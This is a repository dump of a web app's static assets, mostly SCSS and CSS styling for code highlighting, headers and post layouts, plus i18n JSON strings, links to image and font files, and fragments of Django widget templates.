font-size: 0.8em; 13 | font-family: 'Roboto Mono', Monaco, courier, monospace; 14 | overflow-x: auto; 15 | background: #333; 16 | color: white; 17 | } 18 | 19 | pre { 20 | display: block; 21 | } 22 | 23 | .hljs { 24 | 25 | a { 26 | color: inherit; 27 | } 28 | } 29 | 30 | .hljs-name,.hljs-strong { 31 | font-weight: bold 32 | } 33 | 34 | .hljs-code,.hljs-emphasis { 35 | font-style: italic 36 | } 37 | 38 | .hljs-tag { 39 | color: #62c8f3 40 | } 41 | 42 | .hljs-variable,.hljs-template-variable,.hljs-selector-id,.hljs-selector-class { 43 | color: #ade5fc 44 | } 45 | 46 | .hljs-string,.hljs-bullet { 47 | color: #a2fca2 48 | } 49 | 50 | .hljs-type,.hljs-title,.hljs-section,.hljs-attribute,.hljs-quote,.hljs-built_in,.hljs-builtin-name { 51 | color: #ffa 52 | } 53 | 54 | .hljs-number,.hljs-symbol,.hljs-bullet { 55 | color: #d36363 56 | } 57 | 58 | .hljs-keyword,.hljs-selector-tag,.hljs-literal { 59 | color: #fcc28c 60 | } 61 | 62 | .hljs-comment,.hljs-deletion,.hljs-code { 63 | color: #888 64 | } 65 | 66 | .hljs-regexp,.hljs-link { 67 | color: #c6b4f0 68 | } 69 | 70 | .hljs-meta { 71 | color: #fc9b9b 72 | } 73 | 74 | .hljs-deletion { 75 | background-color: #fc9b9b; 76 | color: #333 77 | } 78 | 79 | .hljs-addition { 80 | background-color: #a2fca2; 81 | color: #333 82 | } 83 | 84 | .hljs a:focus,.hljs a:hover { 85 | color: inherit; 86 | text-decoration: underline 87 | } -------------------------------------------------------------------------------- /app/log/static/article/_partial/header.scss: -------------------------------------------------------------------------------- 1 | header { 2 | min-height: 60px; 3 | 4 | .logo-link { 5 | float: left; 6 | } 7 | 8 | .nav { 9 | float: right; 10 | left: 80px; 11 | } 12 | 13 | .logo-link img { 14 | height: 60px; 15 | border-radius: 20px; 16 | } 17 | 18 | .nav-list-item { 19 | display: inline-block; 20 | padding: 19px 10px ; 21 | a { 22 | font-size: 16px; 23 | line-height: 1.4; 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /app/log/static/article/_partial/home-post-list.scss: -------------------------------------------------------------------------------- 1 | .home.post-list { 2 | margin: 2em 0; 3 | .post-list-item { 4 | padding: 1em 0 2em; 5 | border-bottom: 1px solid #ddd; 6 | &:last-child { 7 | border-bottom: 0px; 8 | } 9 | } 10 | .post-content{ 11 | h2, h3, h4, h5, h6 { 12 | &:before { 13 | content: ''; 14 | } 15 | } 16 | & > ul { 17 | list-style: initial; 18 | } 19 | } 20 | .read-more { 21 | color: #42b983; 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /app/log/static/article/_partial/mq.scss: -------------------------------------------------------------------------------- 1 | main.container { 2 | margin: 2em 10px; 3 | } 4 | 5 | @media screen and (min-width: 700px) { 6 | .wrap { 7 | width: 55%; 8 | margin: 0 auto; 9 | } 10 | header { 11 | padding: 20px 100px; 12 | } 13 | } 14 | 15 | @media screen and (max-width: 700px) { 16 | .tagcloud { 17 | display: none !important; 18 | } 19 | .wrap { 20 | width: 100%; 21 | } 22 | header { 23 | padding: 20px 0; 24 | a.logo-link, 25 | ul.nav.nav-list { 26 | float: none; 27 | display: block; 28 | text-align: center; 29 | } 30 | li.nav-list-item { 31 | padding: 10px 10px; 32 | } 33 | } 34 | main.container, 35 | .home.post-list, 36 | .archive { 37 | margin-top: 0; 38 | } 39 | .archive .post-item { 40 | padding-left: 20px; 41 | } 42 | .post-content { 43 | h2, h3, h4, h5, h6 { 44 | max-width: 300px; 45 | left: 15px; 46 | } 47 | } 48 | .ds-thread, 49 | #disqus_thread { 50 | margin: 2em 10px; 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /app/log/static/article/_partial/post.scss: -------------------------------------------------------------------------------- 1 | .post { 2 | padding-top: 1em; 3 | } 4 | 5 | .post-block { 6 | .post-title { 7 | margin: 0.65em 0; 8 | color: #2c3e50; 9 | font-size: 1.5em; 10 | } 11 | 12 | .post-info { 13 | color: #7f8c8d; 14 | margin: 1.2em 0; 15 | span { 16 | margin-left: 0.5rem; 17 | } 18 | a.post-from { 19 | margin-left: 0.5rem; 20 | padding: 3px 6px; 21 | border-radius: 5px; 22 | font-size: 12px; 23 | color: white; 24 | background-color: #E36B6B; 25 | } 26 | } 27 | } 28 | 29 | .post-content { 30 | h2, h3, h4, h5, h6 { 31 | position: relative; 32 | margin: 1em 0; 33 | a:before { 34 | content: "#"; 35 | color: #42b983; 36 | position: absolute; 37 | left: -0.7em; 38 | top: -4px; 39 | font-size: 1.2em; 40 | font-weight: bold; 41 | } 42 | } 43 | h4, h5, h6 { 44 | a:before { 45 | content: ""; 46 | } 47 | } 48 | 49 | h2, h3 { 50 | font-size: 22px; 51 | } 52 | 53 | h4, h5, h6 { 54 | font-size: 18px; 55 | } 56 | a { 57 | color: #42b983; 58 | word-break: break-all; 59 | } 60 | blockquote { 61 | margin: 2em 0; 62 | padding-left: 20px; 63 | border-left: 4px solid #42b983; 64 | } 65 | img { 66 | display: block; 67 | max-width: 100%; 68 | margin: 1em auto; 69 | } 70 | & > table, 71 | & > figure.highlight { 72 | box-shadow: 0 1px 2px rgba(0,0,0,0.125); 73 | } 74 | .tip { 75 | position: relative; 76 | margin: 2em 0; 77 | padding: 12px 24px 12px 30px; 78 | border-left: 4px solid #f66; 79 | border-top-right-radius: 2px; 80 | border-bottom-right-radius: 2px; 81 | background-color: #f8f8f8; 82 | br { 83 | display: none; 84 | } 85 | } 86 | .tip:before { 87 | position: absolute; 88 | top: 14px; 89 | left: -12px; 90 | content: "!"; 91 | width: 20px; 92 | height: 20px; 93 | border-radius: 100%; 94 | color: #fff; 95 | font-size: 14px; 96 | line-height: 20px; 97 | font-weight: bold; 98 | text-align: center; 99 | background-color: #f66; 100 | font-family: 'Dosis', 'Source Sans Pro', 'Helvetica Neue', Arial, sans-serif; 101 | } 102 | } 103 | 104 | #mask { 105 | position: fixed; 106 | overflow: scroll; 107 | width: 100%; 108 | height: 100%; 109 | padding: 1em 0; 110 | background-color: rgba(0, 0, 0, 0.5); 111 | z-index: 10; 112 | #mask-image { 113 | max-width: 95%; 114 | } 115 | } 116 | 117 | %code-base { 118 | position: absolute; 119 | top: 0; 120 | right: 0; 121 | color: #ccc; 122 | text-align: right; 123 | font-size: 0.75em; 124 | padding: 5px 10px 0; 125 | line-height: 15px; 126 | height: 15px; 127 | font-weight: 600; 128 | } 129 | 130 | @mixin code-signs($keys) { 131 | @each $key in $keys { 132 | .highlight.#{$key} .code:after { 133 | content: to-upper-case($key); 134 | @extend %code-base; 135 | } 136 | } 137 | } 138 | 139 | $signs: ("html", "js", "bash", "css", "scss","diff", "java", "xml", "python", "json", "swift", "ruby", "perl", "php", "c", "java", "cpp", "ts"); 140 | @include code-signs($signs); 141 | 142 | .highlight.cpp .code:after { 143 | content: 'C++'; 144 | } -------------------------------------------------------------------------------- /app/log/static/article/gandalfr.scss: -------------------------------------------------------------------------------- 1 | @charset "utf-8"; 2 | 3 | @import "_partial/normalize"; 4 | @import "_partial/base"; 5 | @import "_partial/header"; 6 | @import "_partial/home-post-list"; 7 | @import "_partial/archive-post-list"; 8 | @import "_partial/post"; 9 | @import "_partial/mq"; 10 | @import "_partial/code"; 11 | 12 | @font-face { 13 | font-family: 'sourcesanspro'; 14 | src: url('../font/sourcesanspro.woff2') format('woff2'), 15 | url('../font/sourcesanspro.woff') format('woff'); 16 | font-weight: normal; 17 | font-style: normal; 18 | } 19 | -------------------------------------------------------------------------------- /app/log/static/code/app.css: -------------------------------------------------------------------------------- 1 | .codehilite { 2 | margin: 2em 0 2.8em; } 3 | .codehilite table, .codehilite tbody { 4 | display: block; 5 | width: 100%; } 6 | .codehilite td { 7 | border: 1px solid #dee; } 8 | .codehilite tr { 9 | display: flex; 10 | width: 100%; } 11 | .codehilite .code { 12 | flex: 1 0 0px; 13 | margin-left: -1px; 14 | display: block; 15 | max-width: calc(100% - 2em); } 16 | 17 | pre { 18 | padding: 10px; 19 | margin: 0; 20 | line-height: 23px; 21 | white-space: pre; 22 | overflow-x: auto; 23 | word-break: inherit; 24 | word-wrap: inherit; } 25 | 26 | .codehilite .gl { 27 | background: #fafafa; 28 | border-right: 1px solid #ddd; 29 | color: #ccc; 30 | user-select: none; 31 | padding: 0 5px; 32 | overflow: hidden; } 33 | 34 | p code, li code, td code { 35 | color: #666; 36 | background: #fafafa; 37 | padding: 3px 6px; 38 | border-radius: 8px; 39 | border: 1px dotted #ccc; 40 | margin: 0 4px; 41 | font-size: 90%; 42 | word-wrap: break-word; } 43 | 44 | a code { 45 | color: inherit; 46 | text-decoration: underline; 47 | margin: 0 -1px; 48 | padding: 3px 10px; } 49 | 50 | .ArgumentSpec { 51 | background: #ffffef; 52 | padding: 1em 2em; 53 | list-style-type: none; 54 | line-height: 190%; 55 | border-radius: 8px; 56 | border: solid 1px #eee; 57 | margin: 2.5em 0 1.5em; } 58 | .ArgumentSpec li strong { 59 | padding-left: 0; } 60 | .ArgumentSpec li code { 61 | background: rgba(255, 255, 255, 0.5); } 62 | 63 | pre { 64 | counter-reset: line-numbering; 65 | border: solid 1px #d9d9d9; 66 | border-radius: 0; 67 | background: #fff; 68 | padding: 0; 69 | line-height: 23px; 70 | margin-bottom: 30px; 71 | white-space: pre; 72 | overflow-x: auto; 73 | word-break: inherit; 74 | word-wrap: inherit; } 75 | 76 | pre a::before { 77 | content: counter(line-numbering); 78 | counter-increment: line-numbering; 79 | padding-right: 1em; 80 | /* space after numbers */ 81 | width: 25px; 82 | text-align: right; 83 | opacity: 0.7; 84 | display: inline-block; 85 | color: #aaa; 86 | background: #eee; 87 | margin-right: 16px; 88 | padding: 2px 10px; 89 | font-size: 13px; 90 | -webkit-touch-callout: none; 91 | -webkit-user-select: none; 92 | -khtml-user-select: none; 93 | -moz-user-select: none; 94 | -ms-user-select: none; 95 | user-select: none; } 96 | 97 | pre a:first-of-type::before { 98 | padding-top: 10px; } 99 | 100 | pre a:last-of-type::before { 101 | padding-bottom: 10px; } 102 | 103 | pre a:only-of-type::before { 104 | padding: 10px; } 105 | -------------------------------------------------------------------------------- /app/log/static/code/app.scss: -------------------------------------------------------------------------------- 1 | @import 'variables'; 2 | 3 | .codehilite { 4 | margin: 2em 0 2.8em; 5 | 6 | table, tbody { 7 | display: block; 8 | width: 100% 9 | } 10 | 11 | td { 12 | border: 1px solid #dee; 13 | } 14 | 15 | tr { 16 | display: flex; 17 | width: 100%; 18 | } 19 | 20 | .code { 21 | flex: 1 0 0px; 22 | margin-left: -1px; 23 | 24 | // firefox again 25 | display: block; 26 | max-width: calc(100% - 2em); 27 | } 28 | } 29 | 30 | pre { 31 | padding: 10px; 32 | margin: 0; 33 | line-height: 23px; 34 | white-space: pre; 35 | overflow-x: auto; 36 | word-break: inherit; 37 | word-wrap: inherit; 38 | } 39 | 40 | .codehilite .gl { 41 | background: #fafafa; 42 | border-right: 1px solid #ddd; 43 | color: $border; 44 | user-select: none; 45 | padding: 0 5px; 46 | overflow: hidden; 47 | } 48 | 49 | p code, li code, td code { 50 | color: $darkText; 51 | background: #fafafa; 52 | padding: 3px 6px; 53 | border-radius: 8px; 54 | border: 1px dotted $border; 55 | margin: 0 4px; 56 | font-size: 90%; 57 | word-wrap: break-word; 58 | } 59 | 60 | a code { 61 | color: inherit; 62 | text-decoration: underline; 63 | margin: 0 -1px; 64 | padding: 3px 10px; 65 | } 66 | 67 | .ArgumentSpec { 68 | background: lighten($textHighlight, 3%); 69 | padding: 1em 2em; 70 | list-style-type: none; 71 | line-height: 190%; 72 | border-radius: 8px; 73 | border: solid 1px $lightBorder; 74 | margin: 2.5em 0 1.5em; 75 | 76 | li strong { padding-left: 0; } 77 | li code { 78 | background: rgba(255, 255, 255, 0.5); 79 | } 80 | } 81 | 82 | pre { 83 | counter-reset: line-numbering; 84 | border: solid 1px #d9d9d9; 85 | border-radius: 0; 86 | background: #fff; 87 | padding: 0; 88 | line-height: 23px; 89 | margin-bottom: 30px; 90 | white-space: pre; 91 | overflow-x: auto; 92 | word-break: inherit; 93 | word-wrap: inherit; 94 | } 95 | 96 | pre a::before { 97 | content: counter(line-numbering); 98 | counter-increment: line-numbering; 99 | padding-right: 1em; /* space after numbers */ 100 | width: 25px; 101 | text-align: right; 102 | opacity: 0.7; 103 | display: inline-block; 104 | color: #aaa; 105 | background: #eee; 106 | margin-right: 16px; 107 | padding: 2px 10px; 108 | font-size: 13px; 109 | -webkit-touch-callout: none; 110 | -webkit-user-select: none; 111 | -khtml-user-select: none; 112 | -moz-user-select: none; 113 | -ms-user-select: none; 114 | user-select: none; 115 | } 116 | 117 | pre a:first-of-type::before { 118 | padding-top: 10px; 119 | } 120 | 121 | pre a:last-of-type::before { 122 | padding-bottom: 10px; 123 | } 124 | 125 | pre a:only-of-type::before { 126 | padding: 10px; 127 | } -------------------------------------------------------------------------------- /app/log/static/code/github.css: -------------------------------------------------------------------------------- 1 | /* 2 | * GitHub style for Pygments 3 | * Courtesy of GitHub.com 4 | */ 5 | 6 | .highlight { 7 | .hll { background-color: #f8f8f8; border: 1px solid #ccc; padding: 6px 10px; border-radius: 3px; } 8 | .c { color: #999988; font-style: italic; } 9 | .err { color: #a61717; background-color: #e3d2d2; } 10 | .k { font-weight: bold; } 11 | .o { font-weight: bold; } 12 | .cm { color: #999988; font-style: italic; } 13 | .cp { color: #999999; font-weight: bold; } 14 | .c1 { color: #999988; font-style: italic; } 15 | .cs { color: #999999; font-weight: bold; font-style: italic; } 16 | .gd { color: #000000; background-color: #ffdddd; } 17 | .gd .x { color: #000000; background-color: #ffaaaa; } 18 | .ge { font-style: italic; } 19 | .gr { color: #aa0000; } 20 | .gh { color: #999999; } 21 | .gi { color: #000000; background-color: #ddffdd; } 22 | .gi .x { color: #000000; background-color: #aaffaa; } 23 | .go { color: #888888; } 24 | .gp { color: #555555; } 25 | .gs { font-weight: bold; } 26 | .gu { color: #800080; font-weight: bold; } 27 | .gt { color: #aa0000; } 28 | .kc { font-weight: bold; } 29 | .kd { font-weight: bold; } 30 | .kn { font-weight: bold; } 31 | .kp { font-weight: bold; } 32 | .kr { font-weight: bold; } 33 | .kt { color: #445588; font-weight: bold; } 34 | .m { color: #009999; } 35 | .s { color: #dd1144; } 36 | .n { color: #333333; } 37 | .na { color: teal; } 38 | .nb { color: #0086b3; } 39 | .nc { color: #445588; font-weight: bold; } 40 | .no { color: teal; } 41 | .ni { color: purple; } 42 | .ne { color: #990000; font-weight: bold; } 43 | .nf { color: #990000; font-weight: bold; } 44 | .nn { color: #555555; } 45 | .nt { color: navy; } 46 | .nv { color: teal; } 47 | .ow { font-weight: bold; } 48 | .w { color: #bbbbbb; } 49 | .mf { color: #009999; } 50 | .mh { color: #009999; } 51 | .mi { color: #009999; } 52 | .mo { color: #009999; } 53 | .sb { color: #dd1144; } 54 | .sc { color: #dd1144; } 55 | .sd { color: #dd1144; } 56 | .s2 { color: #dd1144; } 57 | .se { color: #dd1144; } 58 | .sh { color: #dd1144; } 59 | .si { color: #dd1144; } 60 | .sx { color: #dd1144; } 61 | .sr { color: #009926; } 62 | .s1 { color: #dd1144; } 63 | .ss { color: #990073; } 64 | .bp { color: #999999; } 65 | .vc { color: teal; } 66 | .vg { color: teal; } 67 | .vi { color: teal; } 68 | .il { color: #009999; } 69 | .gc { color: #999; background-color: #EAF2F5; } 70 | } 71 | -------------------------------------------------------------------------------- /app/log/static/code/variables.scss: -------------------------------------------------------------------------------- 1 | $pageWidth: 1200px; 2 | $contentWidth: 780px; 3 | $mobile: $contentWidth + 20px; 4 | 5 | $border: #ccc; 6 | $lightBorder: #eee; 7 | 8 | $normalText: #777; 9 | $darkText: #666; 10 | $lightText: #aaa; 11 | $xLightText: #ccc; 12 | 13 | $link: #4eb0eb; 14 | $emLink: #40d47e; 15 | $lightLink: #aaa; 16 | 17 | $textHighlight: #ffffe0; -------------------------------------------------------------------------------- /app/log/static/font/sourcesanspro.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/font/sourcesanspro.woff -------------------------------------------------------------------------------- /app/log/static/font/sourcesanspro.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/font/sourcesanspro.woff2 -------------------------------------------------------------------------------- /app/log/static/i18n/site-en.json: -------------------------------------------------------------------------------- 1 | { 2 | "dashboard": { 3 | "WELCOME": "Welcome to Angle !" 4 | }, 5 | "topbar": { 6 | "search": { 7 | "PLACEHOLDER": "Type and hit enter.." 8 | } 9 | }, 10 | "sidebar": { 11 | "WELCOME": "Welcome", 12 | "heading": { 13 | "HEADER": "Main Navigation" 14 | }, 15 | "nav": { 16 | "SINGLEVIEW": "Single View", 17 | "menu": { 18 | "MENU": "Menu", 19 | "SUBMENU": "Sub Menu" 20 | } 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /app/log/static/i18n/site-es.json: -------------------------------------------------------------------------------- 1 | { 2 | "dashboard": { 3 | "WELCOME": "Bienvenido a Angle !" 4 | }, 5 | "topbar": { 6 | "search": { 7 | "PLACEHOLDER": "Type and hit enter.." 8 | } 9 | }, 10 | "sidebar": { 11 | "WELCOME": "Welcome", 12 | "heading": { 13 | "HEADER": "Main Navigation" 14 | }, 15 | "nav": { 16 | "SINGLEVIEW": "Single View", 17 | "menu": { 18 | "MENU": "Menu", 19 | "SUBMENU": "Sub Menu" 20 | } 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /app/log/static/img/bg1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/bg1.jpg -------------------------------------------------------------------------------- /app/log/static/img/bg10.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/bg10.jpg -------------------------------------------------------------------------------- /app/log/static/img/bg2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/bg2.jpg -------------------------------------------------------------------------------- /app/log/static/img/bg3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/bg3.jpg -------------------------------------------------------------------------------- /app/log/static/img/bg4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/bg4.jpg -------------------------------------------------------------------------------- /app/log/static/img/bg5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/bg5.jpg -------------------------------------------------------------------------------- /app/log/static/img/bg6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/bg6.jpg -------------------------------------------------------------------------------- /app/log/static/img/bg7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/bg7.jpg -------------------------------------------------------------------------------- /app/log/static/img/bg8.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/bg8.jpg -------------------------------------------------------------------------------- /app/log/static/img/bg9.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/bg9.jpg -------------------------------------------------------------------------------- /app/log/static/img/dummy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/dummy.png -------------------------------------------------------------------------------- /app/log/static/img/lock-bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/lock-bg.jpg -------------------------------------------------------------------------------- /app/log/static/img/logo-single.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/logo-single.png -------------------------------------------------------------------------------- /app/log/static/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/logo.png -------------------------------------------------------------------------------- /app/log/static/img/mb-sample.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/mb-sample.jpg -------------------------------------------------------------------------------- /app/log/static/img/mockup.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/mockup.png -------------------------------------------------------------------------------- /app/log/static/img/profile-bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/profile-bg.jpg -------------------------------------------------------------------------------- /app/log/static/img/user/01.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/user/01.jpg -------------------------------------------------------------------------------- /app/log/static/img/user/02.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/user/02.jpg -------------------------------------------------------------------------------- /app/log/static/img/user/03.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/user/03.jpg -------------------------------------------------------------------------------- /app/log/static/img/user/04.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/user/04.jpg -------------------------------------------------------------------------------- /app/log/static/img/user/05.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/user/05.jpg -------------------------------------------------------------------------------- /app/log/static/img/user/06.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/user/06.jpg -------------------------------------------------------------------------------- /app/log/static/img/user/07.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/user/07.jpg -------------------------------------------------------------------------------- /app/log/static/img/user/08.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/user/08.jpg -------------------------------------------------------------------------------- /app/log/static/img/user/09.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/user/09.jpg -------------------------------------------------------------------------------- /app/log/static/img/user/10.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/user/10.jpg -------------------------------------------------------------------------------- /app/log/static/img/user/11.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/user/11.jpg -------------------------------------------------------------------------------- /app/log/static/img/user/12.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/user/12.jpg -------------------------------------------------------------------------------- /app/log/static/img/user/13.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/img/user/13.jpg -------------------------------------------------------------------------------- /app/log/static/note/hypermd-image-error.8081089d.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/note/hypermd-image-error.8081089d.png -------------------------------------------------------------------------------- /app/log/static/note/hypermd-image-error.a44fd4fe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/note/hypermd-image-error.a44fd4fe.png -------------------------------------------------------------------------------- /app/log/static/note/hypermd-image-link.313e88ca.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/note/hypermd-image-link.313e88ca.png -------------------------------------------------------------------------------- /app/log/static/note/hypermd-image-link.aa06f182.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/note/hypermd-image-link.aa06f182.png -------------------------------------------------------------------------------- /app/log/static/note/hypermd-image-spin.36fe9e32.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/note/hypermd-image-spin.36fe9e32.gif -------------------------------------------------------------------------------- /app/log/static/note/hypermd-image-spin.d686d3ac.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/note/hypermd-image-spin.d686d3ac.gif -------------------------------------------------------------------------------- /app/log/static/vendor/fontawesome/fonts/FontAwesome.otf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/vendor/fontawesome/fonts/FontAwesome.otf -------------------------------------------------------------------------------- /app/log/static/vendor/fontawesome/fonts/fontawesome-webfont.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/vendor/fontawesome/fonts/fontawesome-webfont.eot -------------------------------------------------------------------------------- /app/log/static/vendor/fontawesome/fonts/fontawesome-webfont.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/vendor/fontawesome/fonts/fontawesome-webfont.ttf -------------------------------------------------------------------------------- /app/log/static/vendor/fontawesome/fonts/fontawesome-webfont.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/vendor/fontawesome/fonts/fontawesome-webfont.woff -------------------------------------------------------------------------------- /app/log/static/vendor/fontawesome/fonts/fontawesome-webfont.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/vendor/fontawesome/fonts/fontawesome-webfont.woff2 -------------------------------------------------------------------------------- /app/log/static/vendor/simple-line-icons/fonts/Simple-Line-Icons.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/vendor/simple-line-icons/fonts/Simple-Line-Icons.eot -------------------------------------------------------------------------------- /app/log/static/vendor/simple-line-icons/fonts/Simple-Line-Icons.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/vendor/simple-line-icons/fonts/Simple-Line-Icons.ttf -------------------------------------------------------------------------------- /app/log/static/vendor/simple-line-icons/fonts/Simple-Line-Icons.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/vendor/simple-line-icons/fonts/Simple-Line-Icons.woff -------------------------------------------------------------------------------- /app/log/static/vendor/simple-line-icons/fonts/Simple-Line-Icons.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/opensec-cn/conote-community/136515641bc87a4730d951ba10b547b5f6d937fb/app/log/static/vendor/simple-line-icons/fonts/Simple-Line-Icons.woff2 -------------------------------------------------------------------------------- /app/log/templates/widgets/checkbox.html: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /app/log/templates/widgets/clearable_file_input.html: -------------------------------------------------------------------------------- 1 | {% if widget.is_initial %}{{ widget.initial_text }}: {{ widget.value }}{% if not widget.required %} 2 | 3 | {% endif %}
